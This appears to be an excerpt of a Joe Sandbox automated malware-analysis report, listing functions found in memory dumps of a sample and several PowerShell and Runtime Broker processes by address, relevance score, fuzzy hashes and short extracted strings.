Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945e35f077693c62dddf1778542edc4e71868b51b1c7a01d2940b2af5a08f134
Instruction ID: b6a95ea55ed06f27275bb598b24541c2986b634de5eef2b424fa1fe011aecc7f
Opcode Fuzzy Hash: 945e35f077693c62dddf1778542edc4e71868b51b1c7a01d2940b2af5a08f134
Instruction Fuzzy Hash: F0511536B096954FD308FB6CA4B09E93BA0EF8922D76806BBE49CCF2D7CD245445CB50

Function 00007FFD9BAA0650 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d865eb2c573532d7b1df206297e8eeebf0a4d691fdb66e11972a912c7cb6f88
Instruction ID: 2cba9b2197df2ee9244a649355ca35ee680dfb96518e920beb38e6b8313c93e8
Opcode Fuzzy Hash: 6d865eb2c573532d7b1df206297e8eeebf0a4d691fdb66e11972a912c7cb6f88
Instruction Fuzzy Hash: 9F31D521B18A480FE798EB6C9879679B6C2EFD8311F0505BEF00EC72D7DD649C428341

Function 00007FFD9BAA0CE9 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a903cd7910df7dc94439b56835c52bb6c10db44dedc4e47b3f9108ba66ddf4a0
Instruction ID: 73c4aa22f671730bc510fe4c6355f00e5c10a5dcfac11fbf9130a7e8560e0c25
Opcode Fuzzy Hash: a903cd7910df7dc94439b56835c52bb6c10db44dedc4e47b3f9108ba66ddf4a0
Instruction Fuzzy Hash: D8310922B19A090FE794BBBC5C297BC76C2EF98721F0402BAF01DC71D6DD286C428391

Function 00007FFD9BAA2311 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdd482a14fd5706af3fbb0d8acf1dcb0e05f696c5007708caaba651c04abe69a
Instruction ID: ef215ec50521615bc79ac56581dd76d0767fcf945df483ec9f60b5550d2b73e7
Opcode Fuzzy Hash: cdd482a14fd5706af3fbb0d8acf1dcb0e05f696c5007708caaba651c04abe69a
Instruction Fuzzy Hash: FD01F711A0EBC50FE761B7A85965535BFE1DFA6211B0905FBE8C8C61E7DC88AA408372

Analysis Process: powershell.exePID: 7780, Parent PID: 4320COMMON

Executed Functions

Function 00007FFD9BBA6605 Relevance: 1.7, Strings: 1, Instructions: 436COMMON

Download Yara Rule

Strings

X7z?, xrefs: 00007FFD9BBA67FD

Memory Dump Source

Source File: 00000011.00000002.2132281460.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID: X7z?
API String ID: 0-1836037893
Opcode ID: 72f688128f798f9fc7f5661f2847ae25aa87b33c92de84f8a438c5cfddf083df
Instruction ID: 94aa2f2e14a278da586c3d7d88476053a8923411822ff9025d571bacd32ca17c
Opcode Fuzzy Hash: 72f688128f798f9fc7f5661f2847ae25aa87b33c92de84f8a438c5cfddf083df
Instruction Fuzzy Hash: F0D127B2E0EA8E0FEBA5A76848655B57BE1FF16318B0901FFD45EC70E3D918A905C341

Function 00007FFD9BAD6435 Relevance: .7, Instructions: 700COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8c5de98863e83b495a75ac27d4b96611a3e37f96f8640466cedc85b83612371
Instruction ID: 3148fe91c5cd4cfc5a91eb3cdb6838d60a29940a989cdf8fa938c56cc1bfbc52
Opcode Fuzzy Hash: f8c5de98863e83b495a75ac27d4b96611a3e37f96f8640466cedc85b83612371
Instruction Fuzzy Hash: CDD17F31A18A4D8FDF98DF9CC465AAD77F1FFA8300F15426AD409D7296CA74E881CB81

Function 00007FFD9BAD9EF2 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4135a8cfd3f25622a841f2901dcb5d415f4694af2cac8333520d68d39b906f7d
Instruction ID: 2145845530d27473a372eb3009416ffaf7d195efbab351da01034e300567bcf8
Opcode Fuzzy Hash: 4135a8cfd3f25622a841f2901dcb5d415f4694af2cac8333520d68d39b906f7d
Instruction Fuzzy Hash: E4710B63A0E6DA1FE7129B6C98B54D53F60EF5222DB0D42F7D8D88F093ED446609C352

Function 00007FFD9BAD9738 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 662b593a4dffbe21f139841de9a2f88005468831f9a97611930a003f9033fef5
Instruction ID: 01be84195a8ee3fbc09e330be2db55aa0596d14a6f1043b3e6d5c3a9c908c072
Opcode Fuzzy Hash: 662b593a4dffbe21f139841de9a2f88005468831f9a97611930a003f9033fef5
Instruction Fuzzy Hash: ED412B72A0EB8C4FEB589F5C5C1A6E9BBE0FB94310F50427FE04883252DA60F91587C2

Function 00007FFD9BAD9885 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bab276d5961cd09b1710fbbe4fed1fb46151764652ac0ec2c1ab5f066e94544
Instruction ID: 2c3a6288af562a036897aab4e8de3aa65dbf743f2e9a6cb27aaef88774638124
Opcode Fuzzy Hash: 5bab276d5961cd09b1710fbbe4fed1fb46151764652ac0ec2c1ab5f066e94544
Instruction Fuzzy Hash: E941F931A0CB484FD72C9B9CA84A6F8BBE0EB95331F00426FD04983592CB75B416CBC6

Function 00007FFD9BAD9FE0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b39dfd97146b5b6f9db925875baf375839c0725e1b1ca0f29c49fe9030a7d0a
Instruction ID: 60f9f46029f3e9ce879d098cec6ad4c311d5f55e2c685aba7a6746fa8837dad8
Opcode Fuzzy Hash: 9b39dfd97146b5b6f9db925875baf375839c0725e1b1ca0f29c49fe9030a7d0a
Instruction Fuzzy Hash: 77412753A0F6CA1FD722AB7858754E53F90DF52219B0D42FBD4E88F0A3D9486509C362

Function 00007FFD9B9BEE20 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2129982285.00007FFD9B9BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b9bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f935fca211e5f6656f40d129f3c206a036c06b88b3b4887f82711d369c9cd57
Instruction ID: d45ab3d412d3eea7c41a9e81aec3b3ab46e2e5703ed471d237074dc45d1790f7
Opcode Fuzzy Hash: 5f935fca211e5f6656f40d129f3c206a036c06b88b3b4887f82711d369c9cd57
Instruction Fuzzy Hash: D041297140EFC45FD7969B3998519523FF0EF57320B1609EFD088CB1A3D625A846CB92

Function 00007FFD9BADA750 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b6413f028a3e61f65fa40f5febd19aa266c824c8e23ebeb5b9cc8067228aad
Instruction ID: 876b3e1920d9e2d7f5171c7a125b1a2b626db6399d0aa733999c68f0edb72073
Opcode Fuzzy Hash: e5b6413f028a3e61f65fa40f5febd19aa266c824c8e23ebeb5b9cc8067228aad
Instruction Fuzzy Hash: 4B310531A0DB4C8FDB58DB9CC8496E97BE0EBA6320F04416FD049C3162D674980ACB91

Function 00007FFD9BAD33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: c6d341720b75168737bcbbb658bbc6ed62dea96e630f77678b5119a0e236c73e
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: EF01677121CB0C4FD748EF0CE451AA5B7E0FF95364F10066DE58AC76A5DA36E882CB45

Function 00007FFD9BBA414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2132281460.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 880c924df4c57218b173242feb30aebd111f6bd87284b29f498435c9cb28245c
Instruction ID: c4281123ea0a5b0ddf7cd605975f9f3fa510373dc13c3cb25814738d920db8d1
Opcode Fuzzy Hash: 880c924df4c57218b173242feb30aebd111f6bd87284b29f498435c9cb28245c
Instruction Fuzzy Hash: 14F0BE32B0E5098FD769EA4CE4528A87BE0FF5532471200BAE16DC71F3CA25EC40CB41

Function 00007FFD9BBA4400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2132281460.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3feedd1cf549ed9e603061348b8442df0d317f6c1cad636896c0e3bd50853a98
Instruction ID: e0986911481f9d9a75a452c0a528930737d4ccd60b12bd572b891a7bc627e875
Opcode Fuzzy Hash: 3feedd1cf549ed9e603061348b8442df0d317f6c1cad636896c0e3bd50853a98
Instruction Fuzzy Hash: 30F0BE32A0E5498FD768EA4CE0618A873E0FF4532471200BAE15DC70A3CE25AC40C740

Function 00007FFD9BBA41D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2132281460.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: fdcde502d3a89db43466c761a0ed7cac2940823bd74c0760f1580f01370addfb
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: 48E01A31B0C8088FDA78DA4CE0519A97BE1FBA832571201BBD14EC75B1CA32ED518B80

Non-executed Functions

Function 00007FFD9BAD8BFA Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

K_^F, xrefs: 00007FFD9BAD8C7A
K_^7, xrefs: 00007FFD9BAD8C12
K_^J, xrefs: 00007FFD9BAD8C8A
K_^4, xrefs: 00007FFD9BAD8BFA

Memory Dump Source

Source File: 00000011.00000002.2131164324.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID: K_^4$K_^7$K_^F$K_^J
API String ID: 0-377281160
Opcode ID: 4bcb7626cc64b94c55d6df8f3314fc61f7497ef9aa3022dd500b8fbce610da28
Instruction ID: 689fd8cd61abe592697ee0e81be52994a8d18c1a10a85d92d64fbc034fb2e5fd
Opcode Fuzzy Hash: 4bcb7626cc64b94c55d6df8f3314fc61f7497ef9aa3022dd500b8fbce610da28
Instruction Fuzzy Hash: 6F2104B77085265ED715BB7CAC149D93BA0CFA827E34503F3E0A9CF093E9146086CAD0

Analysis Process: powershell.exePID: 7948, Parent PID: 4320COMMON

Executed Functions

Function 00007FFD9BB96605 Relevance: 1.7, Strings: 1, Instructions: 435COMMON

Download Yara Rule

Strings

X7h7, xrefs: 00007FFD9BB967FD

Memory Dump Source

Source File: 00000013.00000002.2375715692.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID: X7h7
API String ID: 0-457199588
Opcode ID: 828ff7593f454443592f76b1c20b6e08558cfbd6aa810325f1d3f1f5668e4395
Instruction ID: 61b004bc6af7938ef67eb6865d0368bd1f5d3f117e654b0c03dc0f833c2a15bd
Opcode Fuzzy Hash: 828ff7593f454443592f76b1c20b6e08558cfbd6aa810325f1d3f1f5668e4395
Instruction Fuzzy Hash: EFD13631B0EA8E0FEBA5AB6888755B57B91FF5639CB0901BFD45EC70E7D918A801C341

Function 00007FFD9BAC644D Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2374221845.00007FFD9BAC5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bac5000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de6c7a6f17ffdb00ec2c6c29abb304aa9bd2aeb82c6a410e35b3e55f177af018
Instruction ID: 9d92c25bff0d917fb9dc141270f9c8e2dfe601a730adc8295e06cdc6368d617c
Opcode Fuzzy Hash: de6c7a6f17ffdb00ec2c6c29abb304aa9bd2aeb82c6a410e35b3e55f177af018
Instruction Fuzzy Hash: FED15131A18A4D8FDF98EF5CC455ABDB7E1FF68300F15416AD409D72A6CA74E841CB81

Function 00007FFD9BACA0E0 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2374221845.00007FFD9BAC5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bac5000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f482824c351a07af8d892496991be98fbbe2e0e65daa97f6f70084653c9488
Instruction ID: a8e8589ed14c4fa0cb92b889eb4e04c2de525fc104caa0b73463a4d45b3cf2d5
Opcode Fuzzy Hash: 61f482824c351a07af8d892496991be98fbbe2e0e65daa97f6f70084653c9488
Instruction Fuzzy Hash: 3111722190E7C94FD723AB6898754E43FB09F13229B0901F7D498CF0A7D9585848C7A2

Function 00007FFD9BAC9D4B Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2374221845.00007FFD9BAC5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bac5000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cc7f26a9b2e26847b5284759b712e7026612a0568cab8f09b9244453b2f489
Instruction ID: 0bd1d9f10e3394f99ac4f0aabba6830b6a1b3cdd91373aa94821dca6c6ee0967
Opcode Fuzzy Hash: 43cc7f26a9b2e26847b5284759b712e7026612a0568cab8f09b9244453b2f489
Instruction Fuzzy Hash: 86F0FC7190D6CC8FDB52EF1888291B47FE0FF26300B0500EBD848C7175DA519A44C7C2

Function 00007FFD9BAC9750 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2374221845.00007FFD9BAC5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bac5000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3780515c7bb6cc68743111de29054ddafd3d7f64c6fff763e135c0b30954bf86
Instruction ID: a0cf4594c490136601ceb3eaf75bba5fa3fb8c0319524b2aef41f26977be6708
Opcode Fuzzy Hash: 3780515c7bb6cc68743111de29054ddafd3d7f64c6fff763e135c0b30954bf86
Instruction Fuzzy Hash: 7341277190DB884FDB199F5C9C0A6B97BE0FB56310F04416FE08993293CA60A816CBC6

Function 00007FFD9B9AED40 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2372740910.00007FFD9B9AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9b9ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ebaaca6956c7167144405a3f32350aaafd9b517e3645fc6cc1ed76625ccc68
Instruction ID: 7b06a924b5e3112435a348f6b521eb050acdafa25655a2e4e6b6ef1d79fef336
Opcode Fuzzy Hash: 21ebaaca6956c7167144405a3f32350aaafd9b517e3645fc6cc1ed76625ccc68
Instruction Fuzzy Hash: 4C41173041EFC45FE7569B68D8559523FF0EF57320B2A05DFD088CB1A3D629A846C7A2

Function 00007FFD9BACA7C6 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2374221845.00007FFD9BAC5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bac5000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64934766bf9f924f9d1ec631a513a3a877b40c82aafffe13136fdc4ecdf3722b
Instruction ID: 5b792c62c2f3c96eceb0e352cc332fb3b5e49a1ef1b6293baeb6dbba399f9235
Opcode Fuzzy Hash: 64934766bf9f924f9d1ec631a513a3a877b40c82aafffe13136fdc4ecdf3722b
Instruction Fuzzy Hash: 5A21E131A0CA4C8FEB58DBACD84A7F97BE0EB95321F04816FD049C7156DA74A41ACB91

Function 00007FFD9BAC33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2374221845.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: ee59faf03481a4826278b3042e26341a3348b81f49576dea66fea955f9f1e53b
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 5801447121CB0C4FD748EF0CE451AA5B7E0FB95364F10066DE58AC76A5DA36E882CB45

Function 00007FFD9BB9414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2375715692.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78959de49ccf6896cddb7ec6a8549ae51cf37baad366c80eb6117c299c06414
Instruction ID: 7ec17db321616b60628b20343e18c63532d3b21a58f5004d10681f98805d8988
Opcode Fuzzy Hash: b78959de49ccf6896cddb7ec6a8549ae51cf37baad366c80eb6117c299c06414
Instruction Fuzzy Hash: 1CF09A32B0E5098FD769EB4CE4528A877E0FF5532871200BAE16DC71B3CA25EC418B40

Function 00007FFD9BB94400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2375715692.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00d147c1f709dff4711e075c9fe9e5a420bde3d10a22de3a00333d781f714b8
Instruction ID: fb3d2e467fc44215632023526b2516827e14ef3e11db80c3b427186f4c2b64db
Opcode Fuzzy Hash: c00d147c1f709dff4711e075c9fe9e5a420bde3d10a22de3a00333d781f714b8
Instruction Fuzzy Hash: A6F0BE32B0E5498FDB68EA4CE0618A873E0FF0532870200BAE15DC71A3DA25AC40C750

Function 00007FFD9BB941D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2375715692.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: ccd41cf97bc1051b6dfc5ab65743c2271d9af8b0340f2b08a26d56b09f0b59f9
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: 9AE01A31B0C8188FDA78DB4CE0519A977E1FB9832971201BBD14EC76B1CA32ED518B80

Non-executed Functions

Function 00007FFD9BAC8BF2 Relevance: 10.1, Strings: 8, Instructions: 85COMMON

Download Yara Rule

Strings

L_^Q, xrefs: 00007FFD9BAC8C8A
L_^?, xrefs: 00007FFD9BAC8C2A
L_^<, xrefs: 00007FFD9BAC8C12
L_^N, xrefs: 00007FFD9BAC8C72
L_^8, xrefs: 00007FFD9BAC8BF2
L_^J, xrefs: 00007FFD9BAC8C62
L_^Y, xrefs: 00007FFD9BAC8CBA
L_^K, xrefs: 00007FFD9BAC8C6A

Memory Dump Source

Source File: 00000013.00000002.2374221845.00007FFD9BAC5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd9bac5000_powershell.jbxd

Similarity

API ID:
String ID: L_^8$L_^<$L_^?$L_^J$L_^K$L_^N$L_^Q$L_^Y
API String ID: 0-1415242001
Opcode ID: 376fa47dd52ce803f5d748140fcaab1eb293776c348edebb478c5cdf911be059
Instruction ID: 336ad1cbfe1c429cbbc3a2013bd376653ffc9a4cad362ec817ae2c65b74884c1
Opcode Fuzzy Hash: 376fa47dd52ce803f5d748140fcaab1eb293776c348edebb478c5cdf911be059
Instruction Fuzzy Hash: BD21F5737045154AC31576ADBC519ED6780DF6837E34552F3F628CF153DB24A48BCA80

Analysis Process: Runtime BrokerPID: 7372, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAD16D9 Relevance: .8, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e5c5c73bc72e706c4fa4604de8e19ce976b8224db4ef4eba1985a9ecdd344a
Instruction ID: 6dce3327283baa4fe87b5987625182f33c055d80400331eecbc257a07474fccf
Opcode Fuzzy Hash: 44e5c5c73bc72e706c4fa4604de8e19ce976b8224db4ef4eba1985a9ecdd344a
Instruction Fuzzy Hash: 1842D420B29A494FE768FB7888757B977D2FFD8316F440679E04DC32DADE68A8018741

Function 00007FFD9BAD2141 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77079ffa64cec5d9981bf0e57fe127b981f7ab24742ce6ab38b91e8344bfedcc
Instruction ID: 738bac185df6b139f0d89fd487ec3715615aa70664e2bfb39382509c450473c1
Opcode Fuzzy Hash: 77079ffa64cec5d9981bf0e57fe127b981f7ab24742ce6ab38b91e8344bfedcc
Instruction Fuzzy Hash: 8251FD20B1E6C94FD796ABB88834675BFE4DF87225B0806FBF099C61E7DD481846C342

Function 00007FFD9BAD1255 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4724b5304eef8bb8c8d0777ed3be0471e30f3c7dce370a19358a4cf87a689674
Instruction ID: f514421c1f2f3bb592f3fe7e7a77e3d11af8734f4687f65f2656a7a5af2f06be
Opcode Fuzzy Hash: 4724b5304eef8bb8c8d0777ed3be0471e30f3c7dce370a19358a4cf87a689674
Instruction Fuzzy Hash: 8B31C532A0E7964FD726EBBC98B10E53B70EF65329B0902F7D499CA0E7DD286446C351

Function 00007FFD9BAD1242 Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a207d860a4d1eeebb97708752e45ff8560232e006cd1a63b6291a2100c2a6bf0
Instruction ID: 4a128012e049049d987488fb3a2aa5be02ecb97b8800ce1c22883238ca27d4f6
Opcode Fuzzy Hash: a207d860a4d1eeebb97708752e45ff8560232e006cd1a63b6291a2100c2a6bf0
Instruction Fuzzy Hash: 3221EA63F0E6DA0FD76197BC98B10E57B71EFA226570902B7D0D9DA0A3DD1924068391

Function 00007FFD9BAD0E4E Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2440508470.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9bad0000_Runtime Broker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d3a53a0a667b40026afb8c92409f33ffb22c791017612ba94b037d3b1c7a43d
Instruction ID: 94c24b7c1afee07777b0b4625fa9e08ec4aa08c808536b41a5ced446903db87b
Opcode Fuzzy Hash: 1d3a53a0a667b40026afb8c92409f33ffb22c791017612ba94b037d3b1c7a43d
